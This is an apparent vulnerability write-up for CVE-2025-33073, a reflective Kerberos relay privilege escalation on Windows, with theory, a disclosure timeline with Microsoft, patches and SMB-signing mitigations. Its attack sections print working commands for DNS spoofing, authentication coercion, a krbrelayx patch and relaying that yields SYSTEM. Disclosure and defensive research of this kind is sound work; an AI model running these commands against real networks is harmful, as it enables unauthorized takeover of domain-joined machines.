Reflective Kerberos Relay Attack

CVE-2025-33073

Active DirectoryPrivilege EscalationKerberosWindows SecurityPublished: June 18th, 2025

Abstract

This research unveils the Reflective Kerberos Relay Attack, enabling low-privileged Active Directory domain users to remotely escalate privileges to NT AUTHORITY\SYSTEM on domain-joined Windows systems. The vulnerability impacts Windows hosts without mandatory SMB signing, encompassing default configurations of Windows 10, 11 (up to 23H2), and Windows Server versions (up to 2025 24H2), excluding domain controllers. By relaying Kerberos authentication messages back to the originating host, attackers exploit a lack of protections in Kerberos, unlike those implemented for NTLM in 2008 (MS08-068). The resulting session unexpectedly grants full administrative privileges, allowing execution of processes as NT AUTHORITY\SYSTEM.

Key Findings

  • Novel Attack Vector: Exploits a previously unknown vulnerability in Kerberos authentication within Active Directory environments.
  • Remote Privilege Escalation: Enables low-privileged domain users to gain SYSTEM privileges remotely without physical access.
  • Widespread Impact: Affects most Windows environments with default configurations, across multiple Windows versions.
  • High Success Rate: Reliable exploitation against unpatched systems with minimal dependencies.

1. Introduction

Relay attacks pose significant threats in Active Directory environments, historically leveraging the vulnerable NTLM protocol, which remains enabled by default despite deprecation. Kerberos, designed with robust protections, exhibits vulnerabilities in its Active Directory implementation, enabling various relay attacks. This research explores reflective Kerberos relay attacks, where authentication is coerced and relayed back to the same host.

While previous research has focused on local privilege escalation techniques, our work demonstrates the feasibility of remote coercion, overcoming technical challenges outlined in the Prerequisites and Theory section. The successful exploitation results in an unexpected privilege escalation, granting attackers NT AUTHORITY\SYSTEM level access on targeted systems.

Key Advancements

  • Remote Exploitation: Unlike previous work requiring local access, our approach enables remote attack execution.
  • Kerberos vs. NTLM: Demonstrates how Kerberos, despite being designed as a more secure protocol, can be exploited in ways similar to NTLM.
  • Authentication Coercion: Leverages multiple coercion techniques to trigger authentication from target systems.
  • Privilege Boundary Violation: Results in a critical security boundary violation where low-privileged domain users gain SYSTEM access.

The discovery of this vulnerability highlights a significant gap in Windows security protections. While Microsoft implemented safeguards against reflective NTLM relay attacks in 2008 (MS08-068), similar protections were not extended to Kerberos authentication. This oversight has created a persistent attack vector that affects a wide range of Windows systems, from workstations to servers.

In the following sections, we detail the theoretical foundations of this attack, provide a step-by-step explanation of the exploit process, investigate possible causes, and document our responsible disclosure timeline with Microsoft.

2. Prerequisites and Theory

This section details the theoretical underpinnings and technical challenges that needed to be overcome to execute the Reflective Kerberos Relay Attack.

3.1 Authentication Coercion

Authentication coercion exploits Windows Remote Procedure Call (RPC) APIs, allowing attackers to trigger authenticated connections to arbitrary systems. Unlike man-in-the-middle attacks, coercion precisely controls the authentication target, which is critical for Kerberos relaying.

Investigated Methods:

  • EFSR: The Encrypting File System Remote protocol enables functions like EfsRpcOpenFileRaw, popularized by PetitPotam. On Windows 11, EFS starts on-demand, but attackers with SMB share access can initiate it remotely.
  • RPRN: The Print System Remote Protocol's RpcRemoteFindFirstPrinterChangeNotificationEx (printerbug) triggers authentication. Since Windows 11, it uses DCERPC, unsuitable for this attack, but viable on Windows 10 and Server 2019.
  • WSP: The Windows Search Protocol on client systems triggers authenticated connections via remote path queries, reliable by default.
  • DFSNM: The Distributed File System Namespace Management Protocol is limited to domain controllers, which require SMB signing, rendering it impractical.

Coercion success varies by system configuration, with WSP reliable for clients and EFS viable for servers if remotely started. For further details, see theWindows Coercion Techniques Guide.

3.2 Decoupling of Coercion Target and Service Principal Name

Kerberos authentication requires a service ticket for a specific Service Principal Name (SPN), e.g., cifs/server1. Unlike NTLM, the SPN must match the target service's key. In reflective attacks, the target host must connect to the attacker's system but use a ticket for its own SMB service.

This is achieved by appending a Base64-encoded CREDENTIAL_TARGET_INFORMATION structure to the hostname, which is stripped during the ticket request but included in address resolution. For a host client1, the coerced hostname resolves to the attacker's IP, yielding a cifs/client1 ticket.

client1!UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Example of a hostname with appended CREDENTIAL_TARGET_INFORMATION structure

Attackers can register this hostname via Active Directory Integrated DNS (ADIDNS) or spoof local name resolution using techniques like LLMNR poisoning or fake mDNS responses.

3.3 Bypassing NTLM Prioritization

A significant challenge encountered during the investigation was that coerced connections unexpectedly prefer NTLM over Kerberos during loopback authentication. This behavior would prevent relaying Kerberos tickets, as the system would default to NTLM authentication.

To overcome this, we modified the krbrelayx tool to exclude NTLM support in its SMB server. With NTLM removed as an authentication option, the protocol negotiation falls back to Kerberos, enabling successful ticket relaying.

diff --git a/lib/servers/smbrelayserver.py b/lib/servers/smbrelayserver.py
index beb27ed..8dad23b 100644
--- a/lib/servers/smbrelayserver.py
+++ b/lib/servers/smbrelayserver.py
@@ -155,8 +155,7 @@ class SMBRelayServer(Thread):
    blob['tokenoid'] = '1.3.6.1.5.5.2'
    blob['innerContextToken']['mechTypes'].extend([
    MechType(TypesMech['KRB5 - Kerberos 5']),
-   MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
-   MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
+   MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5'])])
    blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore"
    respSMBCommand['Buffer'] = encoder.encode(blob)

Technical Insight

The combination of these three techniques—authentication coercion, hostname manipulation for SPN decoupling, and forced Kerberos authentication—creates the foundation for the reflective relay attack. Each element addresses a specific technical challenge that previously prevented such attacks from being practical in real-world scenarios.

3. Reflective Kerberos Relay Attack

This section demonstrates the attack in a test environment with domain lab.aegisbyte, including a domain controller (dc.lab.aegisbyte, Windows Server 2025 24H2) and client (client1.lab.aegisbyte, Windows 11 23H2). The attacker uses a Linux system (192.168.1.10) and a compromised low-privileged account (user1@lab.aegisbyte).

4.1 Name Resolution Setup

The hostname client1!UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA must resolve to the attacker's IP. Several methods are available to achieve this:

ADIDNS Registration

Using dnstool.py to register the hostname:

dnstool.py ldaps://dc.lab.aegisbyte -port 636 -u 'lab.aegisbyte\user1' -p 'P@$$w0rd123!' -a add -d 192.168.1.10

Name Resolution Spoofing

Using pretender to answer mDNS, LLMNR, or NetBIOS-NS queries:

sudo pretender -i eth1 --no-dhcp-dns --no-timestamps --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DHCPv6 DNS Takeover

Using pretender to provide a malicious DNS server via DHCPv6:

sudo -E /vagrant/pretender -i eth1 --no-timestamps --no-lnr --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' --delegate-ignored-to dc.lab.aegisbyte

4.2 SMB Relay Server

A modified krbrelayx sets up an SMB relay server to relay authentication to client1 and execute whoami:

krbrelayx.py --target smb://client1.lab.aegisbyte -c whoami

This establishes the relay server that will capture the incoming Kerberos authentication and forward it to the specified target, executing the whoami command upon successful authentication.

4.3 Authentication Coercion

WSP coercion targets client1, triggering an authentication attempt directed at our malicious hostname:

wspcoerce 'lab.aegisbyte/user1:P@$$w0rd123!' @client1.lab.aegisbyte file:///client1!UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/path

Alternative methods use nxc or Coercer if EFS or DFS services are active on the target system:

EFS Coercion (for Servers)

nxc smb client1.lab.aegisbyte -u user1 -p P@$$w0rd123! -M petitpotam -o TARGET=client1!UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Using Coercer Tool

coercer -u user1 -p P@$$w0rd123! -d lab.aegisbyte -t client1.lab.aegisbyte --protocol all -l client1!UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

4.4 Reflective Relay Attack

The coerced Kerberos ticket (SPN: cifs/client1) is relayed back to client1, yielding an administrative session:

[*] Executed specified command on host: client1.lab.aegisbyte
nt authority\system

This output demonstrates successful privilege escalation without requiring SMB signing. The relay attack has granted the attacker NT AUTHORITY\SYSTEM privileges, enabling complete control over the target system.

4.5 Impact and Affected Systems

The vulnerability affects a wide range of Windows systems with significant security implications:

Affected Windows Versions:

  • Windows 10 (all versions with default configuration)
  • Windows 11 (up to 23H2)
  • Windows Server 2019 through Server 2025 24H2

Exceptions:

  • Domain controllers (SMB signing enforced by default)
  • Windows 11 24H2 (SMB signing enforced by default)
  • Systems with manually enforced SMB signing

Attack Requirements:

  • Low-privileged domain user account
  • Coercion feasibility via WSP on clients or EFS on servers
  • Target system without enforced SMB signing

Severity Assessment

The vulnerability allows remote privilege escalation from a low-privileged domain user to NT AUTHORITY\SYSTEM, enabling arbitrary code execution, lateral movement, and potential domain compromise. Legacy systems with relaxed SMB signing policies are particularly vulnerable.

4. Investigation of Possible Causes

The unexpected privilege elevation observed during the reflective Kerberos relay attack warrants a detailed technical investigation into the underlying mechanisms.

Technical Analysis

The unexpected administrative privileges likely stem from Kerberos AP_REQ AuthorizationData entries processed during reflective authentication. Two key structures play important roles:

KERB_AD_RESTRICTION_ENTRY

Contains metadata about the process initiating the Kerberos request, including the process's integrity level, which indicates a system process (TokenIL: System).

KERB_LOCAL

Links the ticket to credentials stored in the local LSASS memory, potentially causing reuse of existing high-privileged tokens.

Token Misinterpretation

During reflective relaying, the LSAP_TOKEN_INFO_INTEGRITY structure indicates the process originated with a system-level token. When relayed back to the same system, the server component appears to recognize this as a local loopback authentication attempt from a SYSTEM process.

This misinterpretation causes Windows to grant the relayed authentication the same privileges as the original token, rather than applying the expected security boundaries for a computer account (client1$). The result is an SMB session with full SYSTEM privileges.

Comparison with NTLM Protections

This vulnerability is particularly notable because similar issues with NTLM were addressed by Microsoft in 2008 with the MS08-068 patch. That update implemented protections against reflective NTLM relay attacks by checking source and destination addresses during authentication.

However, no equivalent protections were implemented for Kerberos, likely because:

  • Kerberos was perceived as inherently more secure through its use of service tickets
  • The SPN requirement was considered a natural barrier to relay attacks
  • The techniques for decoupling coercion targets from SPNs weren't widely understood when NTLM protections were implemented

Long-Term Security Implications

This vulnerability demonstrates that security boundaries in Windows authentication systems can be violated through unintended interactions between authentication protocols and local token management. As organizations transition from NTLM to Kerberos for security reasons, this finding highlights the importance of thorough security review across all authentication systems, even those presumed to be more secure by design.

5. Disclosure Timeline

This section documents the responsible disclosure process and collaboration with Microsoft from discovery to patch release.

🔍

2025-01-30

Vulnerability identified by security researchers.

📝

2025-03-07

Vulnerability reported to Microsoft via Microsoft Security Response Center (MSRC).

2025-03-21

Vulnerability confirmed by Microsoft security team.

⚠️

2025-05-02

Classified as "Important" severity by Microsoft.

🏷️

2025-05-30

CVE ID assigned and patch release date declared by Microsoft.

📅

2025-06-03

Publication scheduling agreed for post-patch release on June 10.

💰

2025-06-04

$5,000 bug bounty awarded to research team.

⏱️

2025-06-05

Microsoft requested delayed publication to allow patch deployment.

🛡️

2025-06-10

Security patch released by Microsoft (KB5060841, KB5060842).

📢

2025-06-11

Advisory released by Microsoft.

📔

2025-06-18Latest

Comprehensive whitepaper published.

Responsible Disclosure Note

Standard responsible disclosure practices were followed throughout this process, working collaboratively with Microsoft to ensure that affected systems could be patched before public disclosure of the vulnerability details. Microsoft's prompt response and recognition of the severity of this issue is appreciated.

6. Files and Programs

This section provides details on the tools and patches required to reproduce or mitigate the Reflective Kerberos Relay Attack.

7.1 Patch for krbrelayx to Prioritize Kerberos over NTLM

To execute this attack, we need to modify the krbrelayx tool to disable NTLM support, ensuring Kerberos is used for authentication. The following steps outline how to set up and patch the tool:

git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
git checkout aef69a7e4d2623b2db2094d9331b2b07817fc7a4
git apply ../krbrelayx_kerberos_priority.patch

7.1.1 krbrelayx_kerberos_priority.patch

diff --git a/lib/servers/smbrelayserver.py b/lib/servers/smbrelayserver.py
index beb27ed..8dad23b 100644
--- a/lib/servers/smbrelayserver.py
+++ b/lib/servers/smbrelayserver.py
@@ -155,8 +155,7 @@ class SMBRelayServer(Thread):
    blob['tokenoid'] = '1.3.6.1.5.5.2'
    blob['innerContextToken']['mechTypes'].extend([
    MechType(TypesMech['KRB5 - Kerberos 5']),
-   MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
-   MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
+   MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5'])])
    blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore"
    respSMBCommand['Buffer'] = encoder.encode(blob)

This patch modifies the SMB relay server to remove NTLM from the list of supported authentication mechanisms, forcing the use of Kerberos.

7.2 Tool Requirements

Attack Tools

7.3 Microsoft Security Updates

Microsoft has released patches for this vulnerability as part of their June 2025 security updates. The following Knowledge Base articles cover the fixes for various Windows versions:

Note: Microsoft's patch addresses the vulnerability by enhancing the security checks performed during Kerberos authentication when the source and destination are the same system. This prevents the privilege escalation observed in reflective relay attacks.

Security Advisory

In addition to applying Microsoft's patches, organizations can mitigate this vulnerability by:

  • Enabling SMB signing across all Windows systems (Set RequireSecuritySignature=1)
  • Ensuring all domain controllers have SMB and LDAP signing enforced
  • Monitoring for unusual Kerberos authentication patterns, particularly authentication coercion attempts
  • Implementing network segmentation to limit the scope of potential attacks

7. Interactive Demonstration

Interactive Proof of Concept

Explore the step-by-step process of how the Reflective Kerberos Relay Attack works with our interactive demonstration.

Note: This is for educational purposes only. The demonstration does not execute actual malicious code.

Attack Visualization

Initial Setup

Step 1 of 6

Attacker prepares environment with a low-privileged domain user account and tools.

# Setting up attack environment
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
git checkout aef69a7e4d2623b2db2094d9331b2b07817fc7a4
git apply ../krbrelayx_kerberos_priority.patch

Technical Details

The attacker prepares their environment with the necessary tools. This includes cloning and patching the krbrelayx tool to disable NTLM authentication support, ensuring Kerberos is used for the relay attack.

References

This research builds upon and references the following resources, which provide additional context and information on the topics discussed.

1. Microsoft Security Response Center - CVE-2025-33073

Microsoft's official advisory for the Reflective Kerberos Relay Attack vulnerability.

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073

2. Microsoft Security Update Guide - June 2025

Microsoft's security updates for June 2025, including patches for CVE-2025-33073.

https://msrc.microsoft.com/update-guide/releaseNote/2025-Jun

3. krbrelayx: A Tool for Kerberos Relay Attacks

The original krbrelayx tool, which was modified for this attack.

https://github.com/dirkjanm/krbrelayx

4. NTLM Reflective Relay Mitigation - MS08-068

Microsoft's security bulletin for the NTLM reflective relay vulnerability from 2008.

https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-068

5. Credential Reflection: Technique for Decoupling Authentication Targets

James Forshaw's research on credential reflection techniques in Windows authentication.

https://research.google/pubs/credential-reflection-in-windows-authentication

6. SMB Signing in Windows Environments

Microsoft's documentation on configuring SMB signing for enhanced security.

https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-signing-overview

Stay Updated on Active Directory Security

Subscribe to receive the latest documentation updates, vulnerability notifications, research findings, and proof-of-concept demonstrations related to Active Directory and Windows security from our experts.